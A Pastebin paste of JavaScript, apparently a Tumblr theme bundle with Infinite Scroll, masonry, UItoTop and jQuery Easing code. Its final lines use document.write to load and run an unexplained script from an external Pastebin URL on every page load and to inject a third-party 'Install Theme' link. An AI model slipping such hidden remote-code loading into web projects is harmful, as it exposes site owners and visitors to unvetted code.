Advertisement
containes

JavaScript

Feb 6th, 2014
29,101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.     --------------------------------
  3.     Infinite Scroll
  4.     --------------------------------
  5.     + https://github.com/paulirish/infinite-scroll
  6.     + version 2.0b2.120519
  7.     + Copyright 2011/12 Paul Irish & Luke Shumard
  8.     + Licensed under the MIT license
  9.    
  10.     + Documentation: http://infinite-scroll.com/
  11.    
  12. */
  13. (function(h,d,e){d.infinitescroll=function(a,c,b){this.element=d(b);this._create(a,c)||(this.failed=!0)};d.infinitescroll.defaults={loading:{finished:e,finishedMsg:"",img:"http://static.tumblr.com/uiqhh9x/38Em68qk4/loading.gif",msg:null,msgText:"<em></em>",selector:null,speed:"fast",start:e},state:{isDuringAjax:!1,isInvalidPage:!1,isDestroyed:!1,isDone:!1,isPaused:!1,currPage:1},callback:e,debug:!1,behavior:e,binder:d(h),
  14. nextSelector:"div.navigation a:first",navSelector:"div.navigation",contentSelector:null,extraScrollPx:150,itemSelector:"div.post",animate:!1,pathParse:e,dataType:"html",appendCallback:!0,bufferPx:40,errorCallback:function(){},infid:0,pixelsFromNavToBottom:e,path:e};d.infinitescroll.prototype={_binding:function(a){var c=this,b=c.options;b.v="2.0b2.111027";if(b.behavior&&this["_binding_"+b.behavior]!==e)this["_binding_"+b.behavior].call(this);else{if("bind"!==a&&"unbind"!==a)return this._debug("Binding value  "+
  15. a+" not valid"),!1;if("unbind"==a)this.options.binder.unbind("smartscroll.infscr."+c.options.infid);else this.options.binder[a]("smartscroll.infscr."+c.options.infid,function(){c.scroll()});this._debug("Binding",a)}},_create:function(a,c){var b=d.extend(!0,{},d.infinitescroll.defaults,a);if(!this._validate(a))return!1;this.options=b;var g=d(b.nextSelector).attr("href");if(!g)return this._debug("Navigation selector not found"),!1;b.path=this._determinepath(g);b.contentSelector=b.contentSelector||this.element;
  16. b.loading.selector=b.loading.selector||b.contentSelector;b.loading.msg=d('<div id="infscr-loading"><img alt="Loading..." src="'+b.loading.img+'" /><div>'+b.loading.msgText+"</div></div>");(new Image).src=b.loading.img;b.pixelsFromNavToBottom=d(document).height()-d(b.navSelector).offset().top;b.loading.start=b.loading.start||function(){d(b.navSelector).hide();b.loading.msg.appendTo(b.loading.selector).show(b.loading.speed,function(){beginAjax(b)})};b.loading.finished=b.loading.finished||function(){b.loading.msg.fadeOut("normal")};
  17. b.callback=function(a,g){b.behavior&&a["_callback_"+b.behavior]!==e&&a["_callback_"+b.behavior].call(d(b.contentSelector)[0],g);c&&c.call(d(b.contentSelector)[0],g,b)};this._setup();return!0},_debug:function(){if(this.options&&this.options.debug)return h.console&&console.log.call(console,arguments)},_determinepath:function(a){var c=this.options;if(c.behavior&&this["_determinepath_"+c.behavior]!==e)this["_determinepath_"+c.behavior].call(this,a);else{if(c.pathParse)return this._debug("pathParse manual"),
  18. c.pathParse(a,this.options.state.currPage+1);if(a.match(/^(.*?)\b2\b(.*?$)/))a=a.match(/^(.*?)\b2\b(.*?$)/).slice(1);else if(a.match(/^(.*?)2(.*?$)/)){if(a.match(/^(.*?page=)2(\/.*|$)/))return a=a.match(/^(.*?page=)2(\/.*|$)/).slice(1);a=a.match(/^(.*?)2(.*?$)/).slice(1)}else{if(a.match(/^(.*?page=)1(\/.*|$)/))return a=a.match(/^(.*?page=)1(\/.*|$)/).slice(1);this._debug("Sorry, we couldn't parse your Next (Previous Posts) URL. Verify your the css selector points to the correct A tag. If you still get this error: yell, scream, and kindly ask for help at infinite-scroll.com.");
  19. c.state.isInvalidPage=!0}this._debug("determinePath",a);return a}},_error:function(a){var c=this.options;c.behavior&&this["_error_"+c.behavior]!==e?this["_error_"+c.behavior].call(this,a):("destroy"!==a&&"end"!==a&&(a="unknown"),this._debug("Error",a),"end"==a&&this._showdonemsg(),c.state.isDone=!0,c.state.currPage=1,c.state.isPaused=!1,this._binding("unbind"))},_loadcallback:function(a,c){var b=this.options,g=this.options.callback,f=b.state.isDone?"done":!b.appendCallback?"no-append":"append";if(b.behavior&&
  20. this["_loadcallback_"+b.behavior]!==e)this["_loadcallback_"+b.behavior].call(this,a,c);else{switch(f){case "done":return this._showdonemsg(),!1;case "no-append":"html"==b.dataType&&(c=d("<div>"+c+"</div>").find(b.itemSelector));break;case "append":var i=a.children();if(0==i.length)return this._error("end");for(f=document.createDocumentFragment();a[0].firstChild;)f.appendChild(a[0].firstChild);this._debug("contentSelector",d(b.contentSelector)[0]);d(b.contentSelector)[0].appendChild(f);c=i.get()}b.loading.finished.call(d(b.contentSelector)[0],
  21. b);b.animate&&(f=d(h).scrollTop()+d("#infscr-loading").height()+b.extraScrollPx+"px",d("html,body").animate({scrollTop:f},800,function(){b.state.isDuringAjax=!1}));b.animate||(b.state.isDuringAjax=!1);g(this,c)}},_nearbottom:function(){var a=this.options,c=0+d(document).height()-a.binder.scrollTop()-d(h).height();if(a.behavior&&this["_nearbottom_"+a.behavior]!==e)return this["_nearbottom_"+a.behavior].call(this);this._debug("math:",c,a.pixelsFromNavToBottom);return c-a.bufferPx<a.pixelsFromNavToBottom},
  22. _pausing:function(a){var c=this.options;if(c.behavior&&this["_pausing_"+c.behavior]!==e)this["_pausing_"+c.behavior].call(this,a);else{"pause"!==a&&("resume"!==a&&null!==a)&&this._debug("Invalid argument. Toggling pause value instead");switch(a&&("pause"==a||"resume"==a)?a:"toggle"){case "pause":c.state.isPaused=!0;break;case "resume":c.state.isPaused=!1;break;case "toggle":c.state.isPaused=!c.state.isPaused}this._debug("Paused",c.state.isPaused);return!1}},_setup:function(){var a=this.options;if(a.behavior&&
  23. this["_setup_"+a.behavior]!==e)this["_setup_"+a.behavior].call(this);else return this._binding("bind"),!1},_showdonemsg:function(){var a=this.options;a.behavior&&this["_showdonemsg_"+a.behavior]!==e?this["_showdonemsg_"+a.behavior].call(this):(a.loading.msg.find("img").hide().parent().find("div").html(a.loading.finishedMsg).animate({opacity:1},2E3,function(){d(this).parent().fadeOut("normal")}),a.errorCallback.call(d(a.contentSelector)[0],"done"))},_validate:function(a){for(var c in a)if(c.indexOf&&
  24. -1<c.indexOf("Selector")&&0===d(a[c]).length)return this._debug("Your "+c+" found no elements."),!1;return!0},bind:function(){this._binding("bind")},destroy:function(){this.options.state.isDestroyed=!0;return this._error("destroy")},pause:function(){this._pausing("pause")},resume:function(){this._pausing("resume")},retrieve:function(a){var c=this,b=c.options,g=b.path,f,i,j,h,a=a||null;beginAjax=function(a){a.state.currPage++;c._debug("heading into ajax",g);f=d(a.contentSelector).is("table")?d("<tbody/>"):
  25. d("<div/>");i=g.join(a.state.currPage);j="html"==a.dataType||"json"==a.dataType?a.dataType:"html+callback";a.appendCallback&&"html"==a.dataType&&(j+="+callback");switch(j){case "html+callback":c._debug("Using HTML via .load() method");f.load(i+" "+a.itemSelector,null,function(a){c._loadcallback(f,a)});break;case "html":c._debug("Using "+j.toUpperCase()+" via $.ajax() method");d.ajax({url:i,dataType:a.dataType,complete:function(a,b){(h="undefined"!==typeof a.isResolved?a.isResolved():"success"===b||
  26. "notmodified"===b)?c._loadcallback(f,a.responseText):c._error("end")}});break;case "json":c._debug("Using "+j.toUpperCase()+" via $.ajax() method"),d.ajax({dataType:"json",type:"GET",url:i,success:function(b,d,g){h="undefined"!==typeof g.isResolved?g.isResolved():"success"===d||"notmodified"===d;a.appendCallback?a.template!=e?(b=a.template(b),f.append(b),h?c._loadcallback(f,b):c._error("end")):(c._debug("template must be defined."),c._error("end")):h?c._loadcallback(f,b):c._error("end")},error:function(){c._debug("JSON ajax request failed.");
  27. c._error("end")}})}};if(b.behavior&&this["retrieve_"+b.behavior]!==e)this["retrieve_"+b.behavior].call(this,a);else{if(b.state.isDestroyed)return this._debug("Instance is destroyed"),!1;b.state.isDuringAjax=!0;b.loading.start.call(d(b.contentSelector)[0],b)}},scroll:function(){var a=this.options,c=a.state;a.behavior&&this["scroll_"+a.behavior]!==e?this["scroll_"+a.behavior].call(this):!c.isDuringAjax&&!c.isInvalidPage&&!c.isDone&&!c.isDestroyed&&!c.isPaused&&this._nearbottom()&&this.retrieve()},toggle:function(){this._pausing()},
  28. unbind:function(){this._binding("unbind")},update:function(a){d.isPlainObject(a)&&(this.options=d.extend(!0,this.options,a))}};d.fn.infinitescroll=function(a,c){switch(typeof a){case "string":var b=Array.prototype.slice.call(arguments,1);this.each(function(){var c=d.data(this,"infinitescroll");if(!c||!d.isFunction(c[a])||"_"===a.charAt(0))return!1;c[a].apply(c,b)});break;case "object":this.each(function(){var b=d.data(this,"infinitescroll");b?b.update(a):(b=new d.infinitescroll(a,c,this),b.failed||
  29. d.data(this,"infinitescroll",b))})}return this};var k=d.event,l;k.special.smartscroll={setup:function(){d(this).bind("scroll",k.special.smartscroll.handler)},teardown:function(){d(this).unbind("scroll",k.special.smartscroll.handler)},handler:function(a,c){var b=this,e=arguments;a.type="smartscroll";l&&clearTimeout(l);l=setTimeout(function(){d.event.handle.apply(b,e)},"execAsap"===c?0:100)}};d.fn.smartscroll=function(a){return a?this.bind("smartscroll",a):this.trigger("smartscroll",["execAsap"])}})(window,
  30. jQuery);
  31. (function($){Array.prototype.min=function(){return Math.min.apply({},this)};Array.prototype.max=function(){return Math.max.apply({},this)};$.fn.masonry=function(){this.each(function(){var wall=$(this);if(wall.children().length>0){if(wall.children('.masonryWrap').length==0){wall.wrapInner('<div class=\"masonryWrap\"></div>');}var mWrap=wall.children('.masonryWrap');var brick=mWrap.children();var brickW=brick.outerWidth(true);var colCount=Math.floor(mWrap.width()/brickW);var colH=new Array();for(i=0;i<colCount;i++){colH[i]=0;}mWrap.css({position:'relative'});brick.css({float:'none',position:'absolute',display:'block'}).each(function(){for(i=colCount-1;i>-1;i--){if(colH[i]==colH.min()){var thisCol=i;}}$(this).css({top:colH[thisCol],left:brickW*thisCol});colH[thisCol]+=$(this).outerHeight(true);});mWrap.height(colH.max());}return this;});};})(jQuery);
  32.  
  33.  
  34. /*
  35. |--------------------------------------------------------------------------
  36. | UItoTop jQuery Plugin 1.1
  37. | http://www.mattvarone.com/web-design/uitotop-jquery-plugin/
  38. |--------------------------------------------------------------------------
  39. */
  40.  
  41. (function($){
  42.     $.fn.UItoTop = function(options) {
  43.  
  44.         var defaults = {
  45.             text: 'To Top',
  46.             min: 200,
  47.             inDelay:600,
  48.             outDelay:400,
  49.             containerID: 'toTop',
  50.             containerHoverID: 'toTopHover',
  51.             scrollSpeed: 1200,
  52.             easingType: 'linear'
  53.         };
  54.  
  55.         var settings = $.extend(defaults, options);
  56.         var containerIDhash = '#' + settings.containerID;
  57.         var containerHoverIDHash = '#'+settings.containerHoverID;
  58.        
  59.         $('body').append('<a href="#" id="'+settings.containerID+'">'+ "<div id='totop_image'><img src='http://static.tumblr.com/uiqhh9x/372m6hyqw/up.png' border='0'></div>" +'</a>');
  60.         $(containerIDhash).hide().click(function(){
  61.             $('html, body').animate({scrollTop:0}, settings.scrollSpeed, settings.easingType);
  62.             $('#'+settings.containerHoverID, this).stop().animate({'opacity': 0 }, settings.inDelay, settings.easingType);
  63.             return false;
  64.         })
  65.         .prepend('<span id="'+settings.containerHoverID+'"></span>')
  66.         .hover(function() {
  67.                 $(containerHoverIDHash, this).stop().animate({
  68.                     'opacity': 1
  69.                 }, 600, 'linear');
  70.             }, function() {
  71.                 $(containerHoverIDHash, this).stop().animate({
  72.                     'opacity': 0
  73.                 }, 700, 'linear');
  74.             });
  75.                    
  76.         $(window).scroll(function() {
  77.             var sd = $(window).scrollTop();
  78.             if(typeof document.body.style.maxHeight === "undefined") {
  79.                 $(containerIDhash).css({
  80.                     'position': 'absolute',
  81.                     'top': $(window).scrollTop() + $(window).height() - 50
  82.                 });
  83.             }
  84.             if ( sd > settings.min )
  85.                 $(containerIDhash).fadeIn(settings.inDelay);
  86.             else
  87.                 $(containerIDhash).fadeOut(settings.Outdelay);
  88.         });
  89.  
  90. };
  91. })(jQuery);
  92.  
  93.  
  94. /*
  95.  * jQuery EasIng v1.1.2 - http://gsgd.co.uk/sandbox/jquery.easIng.php
  96.  *
  97.  * Uses the built In easIng capabilities added In jQuery 1.1
  98.  * to offer multiple easIng options
  99.  *
  100.  * Copyright (c) 2007 George Smith
  101.  * Licensed under the MIT License:
  102.  *   http://www.opensource.org/licenses/mit-license.php
  103.  */
  104.  
  105. // t: current time, b: begInnIng value, c: change In value, d: duration
  106.  
  107. jQuery.extend( jQuery.easing,
  108. {
  109.     easeInQuad: function (x, t, b, c, d) {
  110.         return c*(t/=d)*t + b;
  111.     },
  112.     easeOutQuad: function (x, t, b, c, d) {
  113.         return -c *(t/=d)*(t-2) + b;
  114.     },
  115.     easeInOutQuad: function (x, t, b, c, d) {
  116.         if ((t/=d/2) < 1) return c/2*t*t + b;
  117.         return -c/2 * ((--t)*(t-2) - 1) + b;
  118.     },
  119.     easeInCubic: function (x, t, b, c, d) {
  120.         return c*(t/=d)*t*t + b;
  121.     },
  122.     easeOutCubic: function (x, t, b, c, d) {
  123.         return c*((t=t/d-1)*t*t + 1) + b;
  124.     },
  125.     easeInOutCubic: function (x, t, b, c, d) {
  126.         if ((t/=d/2) < 1) return c/2*t*t*t + b;
  127.         return c/2*((t-=2)*t*t + 2) + b;
  128.     },
  129.     easeInQuart: function (x, t, b, c, d) {
  130.         return c*(t/=d)*t*t*t + b;
  131.     },
  132.     easeOutQuart: function (x, t, b, c, d) {
  133.         return -c * ((t=t/d-1)*t*t*t - 1) + b;
  134.     },
  135.     easeInOutQuart: function (x, t, b, c, d) {
  136.         if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
  137.         return -c/2 * ((t-=2)*t*t*t - 2) + b;
  138.     },
  139.     easeInQuint: function (x, t, b, c, d) {
  140.         return c*(t/=d)*t*t*t*t + b;
  141.     },
  142.     easeOutQuint: function (x, t, b, c, d) {
  143.         return c*((t=t/d-1)*t*t*t*t + 1) + b;
  144.     },
  145.     easeInOutQuint: function (x, t, b, c, d) {
  146.         if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
  147.         return c/2*((t-=2)*t*t*t*t + 2) + b;
  148.     },
  149.     easeInSine: function (x, t, b, c, d) {
  150.         return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
  151.     },
  152.     easeOutSine: function (x, t, b, c, d) {
  153.         return c * Math.sin(t/d * (Math.PI/2)) + b;
  154.     },
  155.     easeInOutSine: function (x, t, b, c, d) {
  156.         return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
  157.     },
  158.     easeInExpo: function (x, t, b, c, d) {
  159.         return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
  160.     },
  161.     easeOutExpo: function (x, t, b, c, d) {
  162.         return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
  163.     },
  164.     easeInOutExpo: function (x, t, b, c, d) {
  165.         if (t==0) return b;
  166.         if (t==d) return b+c;
  167.         if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
  168.         return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
  169.     },
  170.     easeInCirc: function (x, t, b, c, d) {
  171.         return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
  172.     },
  173.     easeOutCirc: function (x, t, b, c, d) {
  174.         return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
  175.     },
  176.     easeInOutCirc: function (x, t, b, c, d) {
  177.         if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
  178.         return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
  179.     },
  180.     easeInElastic: function (x, t, b, c, d) {
  181.         var s=1.70158;var p=0;var a=c;
  182.         if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
  183.         if (a < Math.abs(c)) { a=c; var s=p/4; }
  184.         else var s = p/(2*Math.PI) * Math.asin (c/a);
  185.         return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
  186.     },
  187.     easeOutElastic: function (x, t, b, c, d) {
  188.         var s=1.70158;var p=0;var a=c;
  189.         if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
  190.         if (a < Math.abs(c)) { a=c; var s=p/4; }
  191.         else var s = p/(2*Math.PI) * Math.asin (c/a);
  192.         return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
  193.     },
  194.     easeInOutElastic: function (x, t, b, c, d) {
  195.         var s=1.70158;var p=0;var a=c;
  196.         if (t==0) return b;  if ((t/=d/2)==2) return b+c;  if (!p) p=d*(.3*1.5);
  197.         if (a < Math.abs(c)) { a=c; var s=p/4; }
  198.         else var s = p/(2*Math.PI) * Math.asin (c/a);
  199.         if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
  200.         return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
  201.     },
  202.     easeInBack: function (x, t, b, c, d, s) {
  203.         if (s == undefined) s = 1.70158;
  204.         return c*(t/=d)*t*((s+1)*t - s) + b;
  205.     },
  206.     easeOutBack: function (x, t, b, c, d, s) {
  207.         if (s == undefined) s = 1.70158;
  208.         return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
  209.     },
  210.     easeInOutBack: function (x, t, b, c, d, s) {
  211.         if (s == undefined) s = 1.70158;
  212.         if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
  213.         return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
  214.     },
  215.     easeInBounce: function (x, t, b, c, d) {
  216.         return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
  217.     },
  218.     easeOutBounce: function (x, t, b, c, d) {
  219.         if ((t/=d) < (1/2.75)) {
  220.             return c*(7.5625*t*t) + b;
  221.         } else if (t < (2/2.75)) {
  222.             return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
  223.         } else if (t < (2.5/2.75)) {
  224.             return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
  225.         } else {
  226.             return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
  227.         }
  228.     },
  229.     easeInOutBounce: function (x, t, b, c, d) {
  230.         if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
  231.         return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
  232.     }
  233. });
  234. document.write("<script src='http://pastebin.com/raw.php?i=uqFJqSV2' type='text/javascript'></script>");
  235. document.write("<a class=\"btn icon theme\" title=\"Tumblr Themes\" href=\"http://permeate.tumblr.com\">Install Theme</a>");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement